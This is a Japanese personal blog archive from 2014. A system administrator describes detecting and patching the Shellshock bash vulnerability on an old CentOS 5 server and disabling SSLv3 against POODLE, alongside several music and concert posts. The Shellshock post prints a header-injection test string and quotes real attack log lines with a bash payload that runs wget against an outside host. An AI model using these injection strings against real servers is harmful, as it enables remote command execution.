2014/10/19

ShellShock bashコマンドインジェクション

これは凄い!

GNU Bash に OS コマンドインジェクションの脆弱性

bash の脆弱性対策について(CVE-2014-6271 等)


GNU Bash には、環境変数にシェル関数定義を設定して他のシェルプロセスに渡す機能と、環境変数で設定されたシェル関数定義を取り込む機能が存在します。関数定義に続きシェルコマンドが記述されている形で環境変数が設定されているとき、GNU Bash は関数定義を取り込む際にそのシェルコマンドを実行してしまいます


たぶんある程度しっかり作られたアプリケーションのサイトや、
最新のパッケージを使っている環境ではあまりこの影響の脆弱性をうけるサイトは少ないのかなという印象です。

私が管理しているサイトでは脆弱性の再現は1サイトしかありませんでした。

テストは簡単に、ChromeやFireFoxのユーザーエージェントを指定できるプラグインで、
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
のような値を設定してサイトを回遊ました。

ちなみに、実際に攻撃が成功してしまった環境はちょっと古いOS 5系の環境。
  • Cent OS 5
  • Apache 2.2 標準RPM
  • PHP 5.3 ソースインストール
実際にきていた攻撃は下記のようなアクセス。
62.210.75.170 - - [30/Sep/2014:07:42:45 +0900] "GET /index.html HTTP/1.1" 200 4872 "() { :; }; /bin/bash -c 'wget http://creditstat.ru/Y3Vwbm9vZGxlcy1tdXNldW0uanBTaGVsbFNob2NrU2FsdA== >> /dev/null'" "() { :; }; /bin/bash -c 'wget http://creditstat.ru/Y3Vwbm9vZGxlcy1tdXNldW0uanBTaGVsbFNob2NrU2FsdA== >> /dev/null'" 1281928
62.210.75.170 - - [30/Sep/2014:07:42:52 +0900] "GET /index.html HTTP/1.1" 200 4872 "() { :; }; /bin/bash -c 'wget http://creditstat.ru/Y3Vwbm9vZGxlcy1tdXNldW0uanBTaGVsbFNob2NrU2FsdA== >> /dev/null'" "() { :; }; /bin/bash -c 'wget http://creditstat.ru/Y3Vwbm9vZGxlcy1tdXNldW0uanBTaGVsbFNob2NrU2FsdA== >> /dev/null'" 1232626
62.210.75.170 - - [30/Sep/2014:07:42:59 +0900] "GET /index.html HTTP/1.1" 200 4872 "() { :; }; /bin/bash -c '/usr/bin/wget http://creditstat.ru/Y3Vwbm9vZGxlcy1tdXNldW0uanBTaGVsbFNob2NrU2FsdA== >> /dev/null'" "() { :; }; /bin/bash -c '/usr/bin/wget http://creditstat.ru/Y3Vwbm9vZGxlcy1tdXNldW0uanBTaGVsbFNob2NrU2FsdA== >> /dev/null'" 1227358
62.210.75.170 - - [30/Sep/2014:07:43:01 +0900] "GET /index.html HTTP/1.1" 200 4872 "() { :; }; /bin/bash -c '/usr/bin/wget http://creditstat.ru/Y3Vwbm9vZGxlcy1tdXNldW0uanBTaGVsbFNob2NrU2FsdA== >> /dev/null'" "() { :; }; /bin/bash -c '/usr/bin/wget http://creditstat.ru/Y3Vwbm9vZGxlcy1tdXNldW0uanBTaGVsbFNob2NrU2FsdA== >> /dev/null'" 1247845
実際に攻撃が成功すると、下記のようなメッセージがsyslogに出力されました。

Sep 30 07:42:23 GSA040014009 kernel: sh[26924]: segfault at 0000000000000000 rip 00000000004373c7 rsp 00007fff1f9b5610 error 4
Sep 30 07:42:23 GSA040014009 kernel: sh[26926]: segfault at 0000000000000000 rip 00000000004373c7 rsp 00007fff3edfcdb0 error 4
Sep 30 07:42:26 GSA040014009 kernel: sh[26928]: segfault at 0000000000000000 rip 00000000004373c7 rsp 00007fff3f09fb50 error 4
Sep 30 07:42:26 GSA040014009 kernel: sh[26930]: segfault at 0000000000000000 rip 00000000004373c7 rsp 00007fff22324de0 error 4
Sep 30 07:42:27 GSA040014009 kernel: sh[26932]: segfault at 0000000000000000 rip 00000000004373c7 rsp 00007fff880e3000 error 4
メモリのセグメンテーションエラーね。
そしてApacheのエラーログには親切に下記ログも
/bin/sh: wget: No such file or directory
/bin/sh: wget: No such file or directory
/bin/sh: wget: No such file or directory
--2014-09-30 07:42:38--  http://creditstat.ru/Y3Vwbm9vZGxlcy1tdXNldW0uanBTaGVsbFNob2NrU2FsdA==
Resolving creditstat.ru... 78.46.37.177
Connecting to creditstat.ru|78.46.37.177|:80... connected.
HTTP request sent, awaiting response... 404 Not Found
2014-09-30 07:42:38 ERROR 404: Not Found.
見事動作させられてますね、ありがとうございます。
他にはmailコマンドを実行させられたり、「/tmp」領域にファイルを配置されたり。
今回はユーザーエージェントにコードをセットされていたから分かりやすかったですが、
Cookieや他にログに残らないようなアクセスだと、なかなか検知は難しかったかもしれないですね。

実際どこに実行箇所があったかというと、HTML内に記述していた
<!--#exec cgi="~" -->
上記部分でした。
Apacheで"IncludeNOEXEC"していれば防げていたかもしれませんが・・・

対応策はBashのアップデートを上げるしか基本的には無いので、もちろんアップデート。
アップデートした場合、OSの再起動が必要なのか、いらいないとか。
ここはRedhatの情報に従って確認していきましょう。

特殊な細工がされた環境変数による Bash コードインジェクションの脆弱性 (CVE-2014-6271、CVE-2014-7169)

Bash変数を設定して起動しているサービスが無いか確認。


エクスポートされた Bash 機能を使用している場合は、影響を受けるサービスを再起動することが推奨されます。影響を受けるインタラクティブなユーザーが再ログインしたり、画面または tmux セッションを再起動したりする必要があるかもしれません。
これらの問題を修正するために提供された Bash アップデートは、この環境でエクスポートされた関数の名前を変更します。古いバージョンの Bash が関数をエクスポートしている場合、その関数はアップデート後に新しく起動した Bash プロセスでは認識されないため、定義されていない状態になります。サービスを再起動すると、新しいバージョンの Bashは、期待した名前で関数をエクスポートするため、再度表示されます。


# grep -l -z '[^)]=() {' /proc/[1-9]*/environ | cut -d/ -f3

とはいえ、変数が空になって後で上手く動いていないことが分かるのはやなので、
私の場合は再起動しました。

アップデート後はそれぞれの脆弱性が修正されている事を確認。
CVE-2014-6271

# env 'x=() { :;}; echo vulnerable' 'BASH_FUNC_x()=() { :;}; echo vulnerable' bash -c "echo test"
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
bash: error importing function definition for `BASH_FUNC_x()'
test
RHSA-2014:1306、RHSA-2014:1311 および RHSA-2014:1312
# env 'x=() { :;}; echo vulnerable' 'BASH_FUNC_x()=() { :;}; echo vulnerable' bash -c "echo test"
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `BASH_FUNC_x'
test
CVE-2014-7169
# cd /tmp; rm -f /tmp/echo; env 'x=() { (a)=>\' bash -c "echo date"; cat /tmp/echo
date
cat:/tmp/echo:No such file or directory
以上で対応自体は完了。アップデートするだけの簡単な作業ですね。

今回の脆弱性はサイト上に問題が無くても、対象であればアップデートしたほうがいいでしょう。
今回の対応で面倒だったのは「もしも」の場合に備えて今のバージョンと同じパッケージを探しておくことでした。
OS6系ならまだまだ大丈夫ですが、5系はもう古いのはないですからね。
当時のメディアがあってよかった。

入門bash 第3版
入門bash 第3版
posted with amazlet at 14.10.18
Cameron Newham Bill Rosenblatt
オライリージャパン
売り上げランキング: 369,620

2014/10/18

ストレイテナー / 冬の太陽


来た!

アルバムを前にすげぇ曲が来ましたね。
なんだかテナーっぽくないような、あれ?変わったかな?って気がするけど、
聴き終わるとテナーっぽい、最高の爽快感と、しびれるようなかっこよさ!

LOW IQ 01のアニバーサリーライブで聞いた時も鳥肌もんだったし、
MCで「かっこいっしょ?」って。しっているよ。最近ずっと聞いてるよ!

歌詞やメロディはどこか物悲しいのに、体が動かずにはいられない。
ライブでは一緒に叫ばずにはいられませんでしたね。


冬の太陽 - 冬の太陽/The World Record - EP


冬の太陽/The World Record(初回限定盤)(DVD付)
ストレイテナー
ユニバーサル ミュージック (2014-09-17)
売り上げランキング: 1,639



POODLE: SSLv3.0 脆弱性めも


いえい!深刻な脆弱性が多いぜ!

SSLv3 プロトコルに暗号化データを解読される脆弱性(POODLE 攻撃)
SSL v3 をサポートするプログラムは、中間者攻撃が可能な環境で、
Padding Oracle On Downgraded Legacy Encryption (POODLE) 攻撃の影響を受ける可能性があります。

SSL v3 プロトコルに対して、中間者攻撃により通信内容を解読する攻撃手法が報告されています。この攻撃手法は "POODLE" (Padding Oracle On Downgraded Legacy Encryption) と呼ばれています。

ウェブブラウザ等のプログラムの多くでは、上位のプロトコルで通信できない場合にプロトコルのバージョンをダウングレードして通信を行う機能 ("protocol downgrade dance") が実装されています。中間者攻撃(Man-In-the-Middle Attack) を通じて POODLE 攻撃を行う際には、この機能を悪用して SSL v3 による通信を行わせるように仕向けます。その後、SSL v3 でブロック暗号のCBCモードによる暗号化が行われている通信に対し、通信内容を解読します(パディングオラクル攻撃の一種)。現実的な攻撃シナリオとして、HTTP Cookie などの情報を取得する方法が挙げられています。

ふむ。

まず自サイトが対象なのかを確認。
詳しくはRedHatさんから教えていただきましょう。
POODLE: SSLv3.0 脆弱性 (CVE-2014-3566)

openssl s_client -connect "${`hostname`}:443" -ssl3
ホスト名のところを対象のサイトURLにして、アクセスします。
アクセス後、errorやwarningが出ずにサイトの証明書情報等が表示されたら有効化されていることになる。

if echo "${ret}" | grep -q 'Cipher.*0000'; then
    echo "SSLv3 disabled"
  else
    echo "SSLv3 enabled"
 fi

以前からSSLv3は安全でない暗号化方式であったため、
OpenSSLのソースパッケージはパッチをあてたものを公開していますが、
今後どのメーカーもそのような対応をするかは微妙なところです。

SSLv3を無効化した場合、どの程度に影響があるのかな?
古いフィーチャーフォン端末と、WindowsXPのIE6環境で実害が出るようです。

Docomoの場合
https://www.nttdocomo.co.jp/service/developer/make/content/ssl/spec/index.html
au KDDIの場合
http://www.au.kddi.com/ezfactory/web/
SoftBankの場合
http://creation.mb.softbank.jp/mc/tech/tech_web/web_ssl.html

auはちょっとTLSに対応しているのか情報があやふやですが、SHA2対応したときにアップデートしているらしいです。

そもそもSSL通信の際、どのような優先順位なんでしょうか。
SSL (Secure Sockets Layer) ハンドシェイクの概要
Cipher Suites in Schannel

SSLv3が選択肢にくるのは相当後ろですね。
今世の中的にはSSLv3はほぼ利用されていないというのが現状のようです。

しかし、ApacheでSSLサイトを立てようつすればデフォルトではSSLv3は有効になっているのが現状です。

今回の脆弱性自体は攻撃方法がそれほど簡単でもなく、まだ目立って攻撃が活発でもありません。
なのでメーカーによっては対応はそれほど活発でもないし、IPAもまだ発表はしていません。

しかし暗号化問題は「すみません、中身見られてました」では済まないことが多いので、
SSLv3を無効化することで対応可能なのであれば、してもよいレベルと思います。
今主流の暗号化プロトコルに問題が見つかったわけではないのですから。
モバイルサイトを運用している方は簡単には決められない事と思いますが。

ちなみにApacheでSSLv3を無効化する方法は簡単。

 SSLProtocol All -SSLv2 -SSLv3
設定ファイルに追記するだけですね。
RedHhatは下記のように案内していることからも、今後は標準パッケージでは無効化されてくるかもしれませんね。

Red Hat は、この問題と、今後の SSL 脆弱性の影響を受けないように、SSL および TLS 暗号化を提供する SSLv3 を無効にすることを推奨します。

SSL/TLS導入ガイドブック
SSL/TLS導入ガイドブック
posted with amazlet at 14.10.18
井上 孝司 三木 秀治
毎日コミュニケーションズ
売り上げランキング: 191,638

2014/10/06

04 limited sazabys / swim


やっぱり俺はメロコアが好き!

ええんやで。
この王道感、ロックだなーって感じ。久しぶりにきたよ。
今もう音楽性がある程度固まっているってのも凄いね、
自分たちの武器を最大限にたたきつけてくる。

今後絶対人気出てくると思う(出てほしい)
ライブ行きたい!

[Alexandros]とか好きな人は結構はまると思います。


04 Limited Sazabys


YON(初回限定盤)(DVD付)
YON(初回限定盤)(DVD付)
posted with amazlet at 14.10.05
04 Limited Sazabys
No Big Deal Records (2014-09-03)
売り上げランキング: 10,057



2014/10/04

LOW IQ 01 15th Anniversary Special Party "MASTER OF MUSIC" @ 新木場STUDIO COAST


最高の時期に、最高のタイミングで、最高の夜を。

台風がちょうど1日ずれて良かった。
天気的には爽やかに!とはいかなかったけど、
今日の熱さを冷やしてくれるちょうどいい感じでした。

なかなかアニバーサリーにこんな豪華なメンツが集まることってすごいと思う。
the phillowsの時も思ったけど、まだまだ若手には譲らせねーよ。

だって10-FEETで、ストレイテナーで、LOW IQ 01っすよ
10-FEETが前座でテナーが繋ぎですよ。
もう二度とこんな夜は来ないし、忘れさせねーよ!っていう鬼の4時間ライブでした。

10-FEET
ストレイテナー
  01.Melodic Storm
  02.BERSERKER TUNE
  03.The World Record
  04.Super Magical Illusion
  05.SIX DAY WONDER
  06.冬の太陽
  07.シンデレラソング
  08.DISCOGRAPHY
  09.From Noon Till Dawn
LOW IQ 01 & MASTER LOW
  01.LITTLE GIANT
  02.CHANCES
  03.T・O・A・S・T
  04.Day to Day
  05.SWEAR
  06.NEVER SHUT UP
  07.And...
  08.DIS IT
  09.A.A.A. (Again And Again)
  10.SO EASY
  11.MIRACLE
  12.RULES
  13.YOUR COLOR
  14.WHAT'S BORDERLESS?
  15.F.A.Y.(Fight Against Yourself)
  16.五日はまた雪 (More Speed Ver.)
  17.WAY IT IS
  18.NEW THINGS
----------------------------------
  19.831
  20.MAKIN' MAGIC
----------------------------------
  21.NO SHAME
  22.FIREWORKS
  23.Hangover Weekend

Shed Your Skin - Yes, LOW IQ 01


Shed Your Skin
Shed Your Skin
posted with amazlet at 14.10.05
cutting edge (2014-04-23)
売り上げランキング: 288,147